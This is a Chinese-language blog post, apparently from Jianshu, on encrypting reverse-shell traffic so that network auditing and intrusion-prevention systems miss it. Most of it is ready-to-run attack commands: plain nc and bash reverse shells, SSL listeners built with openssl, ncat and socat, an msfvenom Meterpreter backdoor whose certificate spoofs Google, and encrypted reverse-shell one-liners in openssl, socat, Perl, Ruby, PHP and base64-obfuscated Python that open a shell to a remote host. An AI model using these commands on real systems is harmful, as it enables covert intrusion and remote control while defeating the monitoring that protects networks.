Reverse Shell 流量加密

1. 前言

为了防止主机被入侵,现在大部分的内网环境都装有流量审计工具,专门用来分析审查流量特征,分析网络流量,如后门特征、行为特征,像metasploit在内网做横向渗透时,这些流量很容易就能被检测出来,所以做好流量加密,就能避免审计工具检测出来。

2. 常见的反弹shell

  • Server 端
    监听23333端口:
nc -lvp 23333
  • Client 端
    反弹shell的方式比较多,举两例,例如:
nc -e /bin/bash x.x.x.x 23333

bash -i >& /dev/tcp/x.x.x.x/23333 0>&1

还有其他起码十几种方法,如perl,python,php等等。

3. SSL加密的反弹shell

  • Server 端
    使用 openssl 命令,先生成证书,然后使用命令监听端口。
# Generate cert

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

# openssl

openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

RSA加密算法
X.509
SSL/TLS

openssl req命令主要的功能有,生成证书请求文件, 查看验证证书请求文件,还有就是生成自签名证书。

首先说明下生成证书请求需要什么:申请者需要将自己的信息及其公钥放入证书请求中。但在实际操作过程中,所需要提供的是私钥而非公钥,因为它会自动从私钥中提取公钥。另外,还需要将提供的数据进行数字签名
(使用单向加密),保证该证书请求文件的完整性和一致性,防止他人盗取后进行篡改。
主要命令选项:

     -new    :说明生成证书请求文件
     -x509   :说明生成自签名证书
     -key    :指定已有的秘钥文件生成秘钥请求,只与生成证书请求选项-new配合。
     -newkey :-newkey是与-key互斥的,-newkey是指在生成证书请求或者自签名证书的时候自动生成密钥,
              然后生成的密钥名称由-keyout参数指定。当指定newkey选项时,后面指定rsa:bits说明产生
              rsa密钥,位数由bits指定。 如果没有指定选项-key和-newkey,默认自动生成秘钥。
     -out    :-out 指定生成的证书请求或者自签名证书名称
     -config :默认参数在ubuntu上为 /etc/ssl/openssl.cnf, 可以使用-config指定特殊路径的配置文件
     -nodes  :如果指定-newkey自动生成秘钥,那么-nodes选项说明生成的秘钥不需要加密,即不需要输入passphase.   
     -batch  :指定非交互模式,直接读取config文件配置参数,或者使用默认参数值 

可以通过man req 查看详细的openssl req的详细信息。


使用ncat 命令(ncatnc不同,ncat是nmap出的一个nc的增强版,一般需要单独安装。)

ncat -lvnp 4444 --ssl --ssl-cert=cert.pem --ssl-key=key.pem

使用socat命令,需要先生成证书,然后监听

# socat generate cert

openssl req -new -x509 -keyout test.key -out test.crt -nodes
cat test.key test.crt > test.pem

# socat 

socat openssl-listen:4444,reuseaddr,cert=test.pem,verify=0,fork stdio

也可以使用metasploit,如下:

OpenSSL创建SSL/TLS证书

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt

生成后门

msfvenom -p windows/meterpreter/reverse_winhttps \
LHOST=192.168.100.3 \
LPORT=443 PayloadUUIDTracking=true \
HandlerSSLCert=www.google.com.pem \
StagerVerifySSLCert=true \
PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o \
pentestlab.bat


设置监听器
配置侦听器时还需要使用两个附加选项。这是为了通知处理程序它将使用的证书(与有效负载相同),并在接收到连接时执行SSL证书验证。

HandlerSSLCert 
StagerVerifySSLCert 
set payload windows/meterpreter/reverse_winhttps
set LHOST 192.168.0.149
set LPORT 443
set HandlerSSLCert /home/kali/msf/www.google.com.pem 
set StagerVerifySSLCert true
exploit

从有效负载将在目标主机上执行的那一刻起,一个加密的MeterMeter会话将打开,它将不允许主机入侵防御系统检查数据包并断开连接。

  • Client 端
    在目标上执行的openssl 命令:
mkfifo /tmp/s; \
/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 172.16.1.174:1337 > /tmp/s; \
rm /tmp/s

ncat 也可以,但较少遇到

ncat --ssl 127.0.0.1 4444 -e /bin/bash

socat,第一行是比较常见和简单的形式,第二行是交互型的shell

socat exec:'bash' openssl-connect:127.0.0.1:4444,verify=0
socat exec:'bash -li',pty,stderr,setsid,sigint,sane openssl-connect:127.0.0.1:4444,verify=0

Perl

perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);$c=IO::Socket::SSL->new(PeerAddr=>"127.0.0.1:2332",SSL_verify_mode=>0);while(sysread($c,$i,8192)){syswrite($c,`$i`);}'

Ruby

ruby -rsocket -ropenssl -e 'c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new("127.0.0.1","1234")).connect;while(cmd=c.gets);puts(cmd);IO.popen(cmd.to_s,"r"){|io|c.print io.read}end'

PHP

php -r '$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://127.0.0.1:4444",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}'&

Python(需要自己解码修改然后重新编码)

python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCnM9c3NsLndyYXBfc29ja2V0KHNvKQp5bj1GYWxzZQp3aGlsZSBub3QgeW46CglkYXRhPXMucmVjdigxMDI0KQoJaWYgbGVuKGRhdGEpPT0wOgoJCXluID0gVHJ1ZQoJcHJvYz1zdWJwcm9jZXNzLlBvcGVuKGRhdGEsc2hlbGw9VHJ1ZSxzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsc3RkaW49c3VicHJvY2Vzcy5QSVBFKQoJc3Rkb3V0X3ZhbHVlPXByb2Muc3Rkb3V0LnJlYWQoKSArIHByb2Muc3RkZXJyLnJlYWQoKQoJcy5zZW5kKHN0ZG91dF92YWx1ZSkK'.decode('base64'))" >/dev/null 2>&1

注意:

服务端的命令和客户端的命令不一定需要相同,是可以混用的。比如用 ncat 的服务端,可以使用perl/python/socat 等方式链接,甚至 metasploit 的 reverse_perl_ssl 作为服务端监听的端口,也可以使用 ncat -ssl 进行连接,底层的原理都是一样的。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容